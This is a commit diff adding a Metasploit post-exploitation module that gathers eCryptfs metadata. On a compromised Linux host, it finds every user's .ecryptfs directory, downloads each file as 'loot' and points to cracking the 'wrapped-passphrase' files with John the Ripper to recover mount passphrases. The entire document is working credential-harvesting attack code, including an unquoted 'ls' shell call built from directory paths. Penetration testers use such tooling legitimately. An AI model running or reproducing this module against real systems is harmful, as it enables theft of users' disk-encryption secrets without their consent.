Land #2158, @kholia's post module to collect .ecryptfs info

modules/post/linux/gather/ecryptfs_creds.rb

@@ -0,0 +1,73 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/common'
+require 'msf/core/post/file'
+require 'msf/core/post/unix'
+
+class Metasploit3 < Msf::Post
+
+	include Msf::Post::File
+	include Msf::Post::Common
+	include Msf::Post::Unix
+
+	def initialize(info={})
+		super( update_info(info,
+			'Name'           => 'Gather eCryptfs Metadata',
+			'Description'    => %q{
+				This module will grab the contents of user's .ecrypts directory on
+				the targeted machine. Grabbed "wrapped-passphrase" files can be
+				cracked with JtR to get "mount passphrases".
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         => ['Dhiru Kholia <dhiru[at]openwall.com>'],
+			'Platform'       => ['linux'],
+			'SessionTypes'   => ['shell']
+		))
+	end
+
+	# This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.
+
+	def run
+		print_status("Finding .ecryptfs directories")
+		paths = enum_user_directories.map {|d| d + "/.ecryptfs"}
+		# Array#select! is only in 1.9
+		paths = paths.select { |d| directory?(d) }
+
+		if paths.nil? or paths.empty?
+			print_error("No users found with a .ecryptfs directory")
+			return
+		end
+
+		download_loot(paths)
+	end
+
+	def download_loot(paths)
+		print_status("Looting #{paths.count} directories")
+		paths.each do |path|
+			path.chomp!
+			sep = "/"
+			files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
+
+			files.each do |file|
+				target = "#{path}#{sep}#{file}"
+				if directory?(target)
+					next
+				end
+				print_status("Downloading #{path}#{sep}#{file} -> #{file}")
+				data = read_file(target)
+				file = file.split(sep).last
+				loot_path = store_loot("ecryptfs.#{file}", "text/plain", session, data,
+					nil, "eCryptfs #{file} File")
+				print_good("File stored in: #{loot_path.to_s}")
+			end
+		end
+	end
+
+end